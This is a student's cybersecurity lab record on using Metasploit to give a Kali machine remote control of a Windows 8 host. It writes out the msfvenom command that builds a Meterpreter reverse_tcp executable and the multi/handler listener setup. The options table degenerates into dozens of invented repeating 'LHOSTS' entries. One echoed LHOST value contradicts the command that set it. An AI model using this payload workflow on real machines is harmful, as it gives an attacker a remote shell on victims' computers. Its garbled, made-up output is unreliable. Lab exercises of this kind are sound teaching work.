

Ex. No.: 8 Date:08.10.2024 METASPLOIT**Aim:**

To set up Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely.

Algorithm:

1. Generate payload to be inserted into the remote machine
2. Set the LHOST and it's port number
3. Open msfconsole.
4. Use exploit/multi/handler
5. Establish reverse_tcp with the remote windows 8 machine.
6. Run SimpleHTTPServer with port number 8000.
7. Open the web browser in Windows 8 machine and type `http://172.16.8.155:8000`
8. In KaliLinux, type `sysinfo` to get the information about Windows 8 machine
9. Create a new directory using `mkdir` command.
10. Delete the created directory.

Output:

```
root@kali:~# msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.8.155  
LPORT=443 -f exe > /root/hi.exe
```

```
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the  
payload [-] No arch selected, selecting arch: x86 from the payload
```

```
No encoder or badchars specified, outputting raw payload
```

```
Payload size: 341 bytes
```

```
Final size of exe file: 73802 bytes
```

```
root@kali:~# msfconsole
```

```
[-] ***Rting the Metasploit Framework console...\
```

```
[-] * WARNING: No database support: could not connect to server: Connection  
refused Is the server running on host "localhost" (::1) and accepting  
TCP/IP connections on port 5432?
```

CSE(Cyber Security) 2nd year

could not connect to server: Connection refused

Is the server running on host "localhost" (127.0.0.1) and accepting TCP/IP connections on port 5432?

[-] ***

--
 /\^ _ _ _ / / _
 | | / | _ _ _ \ \ _ _ _ _ | | /\ _ \\
 | | \ | | _ _ \ | - - | ^ / _ \ | - _ / | | | | | | - - |
 | | | | | _ | | | _ / - \ _ \ \ | | | | | _ / | | | _
 | / | _ _ / \ \ \ \ \ \ / \ \ | | \ \ \ \ \ \

```

=[ metasploit v5.0.41-dev ]
+ -- ==[ 1914 exploits - 1074 auxiliary - 330 post ]
+ -- ==[ 556 payloads - 45 encoders - 10 nops ]
+ -- ==[ 4 evasion ]

```

```
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > show options
```

Module options (exploit/multi/handler):

Name	Current	Setting	Required	Description
...

Payload options (windows/meterpreter/reverse_tcp):			
Name	Current	Setting	Required Description
LURI	127.0.0.1	127.0.0.1	Local URI to connect to
LHOST	127.0.0.1	127.0.0.1	Local host to connect to
LHOSTS	127.0.0.1	127.0.0.1	Local hosts to connect to
LHOSTS2	127.0.0.1	127.0.0.1	Local hosts2 to connect to
LHOSTS3	127.0.0.1	127.0.0.1	Local hosts3 to connect to
LHOSTS4	127.0.0.1	127.0.0.1	Local hosts4 to connect to
LHOSTS5	127.0.0.1	127.0.0.1	Local hosts5 to connect to
LHOSTS6	127.0.0.1	127.0.0.1	Local hosts6 to connect to
LHOSTS7	127.0.0.1	127.0.0.1	Local hosts7 to connect to
LHOSTS8	127.0.0.1	127.0.0.1	Local hosts8 to connect to
LHOSTS9	127.0.0.1	127.0.0.1	Local hosts9 to connect to
LHOSTS10	127.0.0.1	127.0.0.1	Local hosts10 to connect to
LHOSTS11	127.0.0.1	127.0.0.1	Local hosts11 to connect to
LHOSTS12	127.0.0.1	127.0.0.1	Local hosts12 to connect to
LHOSTS13	127.0.0.1	127.0.0.1	Local hosts13 to connect to
LHOSTS14	127.0.0.1	127.0.0.1	Local hosts14 to connect to
LHOSTS15	127.0.0.1	127.0.0.1	Local hosts15 to connect to
LHOSTS16	127.0.0.1	127.0.0.1	Local hosts16 to connect to
LHOSTS17	127.0.0.1	127.0.0.1	Local hosts17 to connect to
LHOSTS18	127.0.0.1	127.0.0.1	Local hosts18 to connect to
LHOSTS19	127.0.0.1	127.0.0.1	Local hosts19 to connect to
LHOSTS20	127.0.0.1	127.0.0.1	Local hosts20 to connect to
LHOSTS21	127.0.0.1	127.0.0.1	Local hosts21 to connect to
LHOSTS22	127.0.0.1	127.0.0.1	Local hosts22 to connect to
LHOSTS23	127.0.0.1	127.0.0.1	Local hosts23 to connect to
LHOSTS24	127.0.0.1	127.0.0.1	Local hosts24 to connect to
LHOSTS25	127.0.0.1	127.0.0.1	Local hosts25 to connect to
LHOSTS26	127.0.0.1	127.0.0.1	Local hosts26 to connect to
LHOSTS27	127.0.0.1	127.0.0.1	Local hosts27 to connect to
LHOSTS28	127.0.0.1	127.0.0.1	Local hosts28 to connect to
LHOSTS29	127.0.0.1	127.0.0.1	Local hosts29 to connect to
LHOSTS30	127.0.0.1	127.0.0.1	Local hosts30 to connect to
LHOSTS31	127.0.0.1	127.0.0.1	Local hosts31 to connect to
LHOSTS32	127.0.0.1	127.0.0.1	Local hosts32 to connect to
LHOSTS33	127.0.0.1	127.0.0.1	Local hosts33 to connect to
LHOSTS34	127.0.0.1	127.0.0.1	Local hosts34 to connect to
LHOSTS35	127.0.0.1	127.0.0.1	Local hosts35 to connect to
LHOSTS36	127.0.0.1	127.0.0.1	Local hosts36 to connect to
LHOSTS37	127.0.0.1	127.0.0.1	Local hosts37 to connect to
LHOSTS38	127.0.0.1	127.0.0.1	Local hosts38 to connect to
LHOSTS39	127.0.0.1	127.0.0.1	Local hosts39 to connect to
LHOSTS40	127.0.0.1	127.0.0.1	Local hosts40 to connect to
LHOSTS41	127.0.0.1	127.0.0.1	Local hosts41 to connect to
LHOSTS42	127.0.0.1	127.0.0.1	Local hosts42 to connect to
LHOSTS43	127.0.0.1	127.0.0.1	Local hosts43 to connect to
LHOSTS44	127.0.0.1	127.0.0.1	Local hosts44 to connect to
LHOSTS45	127.0.0.1	127.0.0.1	Local hosts45 to connect to
LHOSTS46	127.0.0.1	127.0.0.1	Local hosts46 to connect to
LHOSTS47	127.0.0.1	127.0.0.1	Local hosts47 to connect to
LHOSTS48	127.0.0.1	127.0.0.1	Local hosts48 to connect to
LHOSTS49	127.0.0.1	127.0.0.1	Local hosts49 to connect to
LHOSTS50	127.0.0.1	127.0.0.1	Local hosts50 to connect to
LHOSTS51	127.0.0.1	127.0.0.1	Local hosts51 to connect to
LHOSTS52	127.0.0.1	127.0.0.1	Local hosts52 to connect to
LHOSTS53	127.0.0.1	127.0.0.1	Local hosts53 to connect to
LHOSTS54	127.0.0.1	127.0.0.1	Local hosts54 to connect to
LHOSTS55	127.0.0.1	127.0.0.1	Local hosts55 to connect to
LHOSTS56	127.0.0.1	127.0.0.1	Local hosts56 to connect to
LHOSTS57	127.0.0.1	127.0.0.1	Local hosts57 to connect to
LHOSTS58	127.0.0.1	127.0.0.1	Local hosts58 to connect to
LHOSTS59	127.0.0.1	127.0.0.1	Local hosts59 to connect to
LHOSTS60	127.0.0.1	127.0.0.1	Local hosts60 to connect to
LHOSTS61	127.0.0.1	127.0.0.1	Local hosts61 to connect to
LHOSTS62	127.0.0.1	127.0.0.1	Local hosts62 to connect to
LHOSTS63	127.0.0.1	127.0.0.1	Local hosts63 to connect to
LHOSTS64	127.0.0.1	127.0.0.1	Local hosts64 to connect to
LHOSTS65	127.0.0.1	127.0.0.1	Local hosts65 to connect to
LHOSTS66	127.0.0.1		

EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST
yes The listen address (an interface may be specified) LPORT 4444 yes The listen port

Exploit target:

Id Name

-- ----

0 Wildcard Target

msf5 exploit(multi/handler) > set LHOST 172.16.8.155

LHOST => 172.16.8.156

msf5 exploit(multi/handler) > set LPORT 443

LPORT => 443

msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 172.16.8.155:443

Result: Thus, the setup of Metasploit framework and exploit reverse_tcp in Windows 8 machine remotely has been executed successfully.